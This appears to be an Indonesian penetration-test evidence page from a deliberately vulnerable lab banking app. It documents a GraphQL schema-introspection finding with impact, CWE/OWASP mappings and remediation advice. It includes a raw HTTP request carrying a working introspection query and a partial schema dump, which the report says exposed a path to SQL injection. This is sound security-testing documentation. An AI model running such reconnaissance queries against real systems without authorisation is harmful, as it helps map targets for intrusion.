Skenario 07 / 26FAIL
Excessive Data Exposure - GraphQL - Schema Introspection
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
vuln-bank/Evidence/[FAIL] Excessive Data Exposure - GraphQL - Schema Introspection
01 — Catatan
Catatan pengujian
Kerentanan
[FAIL] Excessive Data Exposure - GraphQL - Schema Introspection
Deskripsi
Endpoint /graphql melayani query introspeksi __schema bagi pengguna terautentikasi biasa. Seluruh tipe, field, dan argumen skema dapat diunduh, termasuk field yang tidak dipakai antarmuka resmi.
Dampak
Low: introspeksi memberi penyerang peta lengkap permukaan serangan GraphQL tanpa perlu menebak nama field. Informasi ini mempercepat penemuan kerentanan lain pada lapisan yang sama; pada pengujian ini, argumen accountNumber yang terungkap dari skema menjadi titik masuk temuan SQL Injection pada resolver transactionSummary. Introspeksi sendiri tidak membocorkan data nasabah.
CWE
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
OWASP
A05:2021 - Security Misconfiguration
Skenario
Eksploitasi: query __schema dikirim memakai token pengguna biasa -> seluruh definisi tipe dan field dikembalikan, termasuk resolver transactionSummary beserta argumennya.
Endpoint
POST http://127.0.0.1:5001/graphql
Fitur terdampak
Endpoint GraphQL
Rekomendasi perbaikan
- Matikan introspeksi pada lingkungan produksi.
- Terapkan allow-list query (persisted queries) agar hanya operasi yang dikenal dapat dijalankan.
- Batasi kedalaman dan kompleksitas query serta terapkan rate limiting.
- Pastikan setiap resolver menjalankan pemeriksaan otorisasinya sendiri.
Bukti konsep
1) (Screenshot 1) EKSPLOITASI: query introspeksi __schema dikirim dengan token pengguna biasa -> seluruh tipe dan field skema dikembalikan, termasuk resolver transactionSummary beserta argumennya.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Excessive Data Exposure - GraphQL - Schema Introspection
Description:
Endpoint /graphql melayani query introspeksi __schema bagi pengguna terautentikasi biasa. Seluruh tipe, field, dan argumen skema dapat diunduh, termasuk field yang tidak dipakai antarmuka resmi.
Impact:
Low: introspeksi memberi penyerang peta lengkap permukaan serangan GraphQL tanpa perlu menebak nama field. Informasi ini mempercepat penemuan kerentanan lain pada lapisan yang sama; pada pengujian ini, argumen accountNumber yang terungkap dari skema menjadi titik masuk temuan SQL Injection pada resolver transactionSummary. Introspeksi sendiri tidak membocorkan data nasabah.
CWE:
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
OWASP:
A05:2021 - Security Misconfiguration
Scenario:
Eksploitasi: query __schema dikirim memakai token pengguna biasa -> seluruh definisi tipe dan field dikembalikan, termasuk resolver transactionSummary beserta argumennya.
Endpoint:
POST http://127.0.0.1:5001/graphql
Affected Feature:
Endpoint GraphQL
Remediation:
- Matikan introspeksi pada lingkungan produksi.
- Terapkan allow-list query (persisted queries) agar hanya operasi yang dikenal dapat dijalankan.
- Batasi kedalaman dan kompleksitas query serta terapkan rate limiting.
- Pastikan setiap resolver menjalankan pemeriksaan otorisasinya sendiri.
POC:
1) (Screenshot 1) EKSPLOITASI: query introspeksi __schema dikirim dengan token pengguna biasa -> seluruh tipe dan field skema dikembalikan, termasuk resolver transactionSummary beserta argumennya.
02 — Tangkapan layar
Tangkapan layar (1)
03 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
REKAMAN 01 / 1
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 94
{"query": "{__schema{queryType{name} types{name fields{name type{name kind ofType{name}}}}}}"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 16837
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:13:04 GMT
{
"data": {
"__schema": {
"queryType": {
"name": "Query"
},
"types": [
{
"fields": [
{
"name": "transactionSummary",
"type": {
"kind": "OBJECT",
"name": "TransactionSummaryType",
"ofType": null
}
}
],
"name": "Query"
},
{
"fields": [
{
"name": "scope",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "accountNumber",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "totalTransactions",
"type": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
{
"name": "totalVolume",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "inflowTotal",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "outflowTotal",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "netFlow",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "largestTransaction",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "totalLoansGiven",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "pendingLoansCount",
"type": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
{
"name": "pendingLoansTotal",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "billPaymentTotal",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "billPaymentsCount",
"type": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
{
"name": "byType",
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"name": "TransactionTypeAggregate"
}
}
},
{
"name": "recentTransactions",
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"name": "TransactionRecordType"
}
}
}
],
"name": "TransactionSummaryType"
},
{
"fields": null,
"name": "String"
},
{
"fields": null,
"name": "Int"
},
{
"fields": null,
"name": "Float"
},
{
"fields": [
{
"name": "transactionType",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "count",
"type": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
{
"name": "totalAmount",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
}
],
"name": "TransactionTypeAggregate"
},
{
"fields": [
{
"name": "id",
"type": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
{
"name": "fromAccount",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "fromUsername",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "toAccount",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "toUsername",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "amount",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
}
[... 10837 more bytes not shown ...]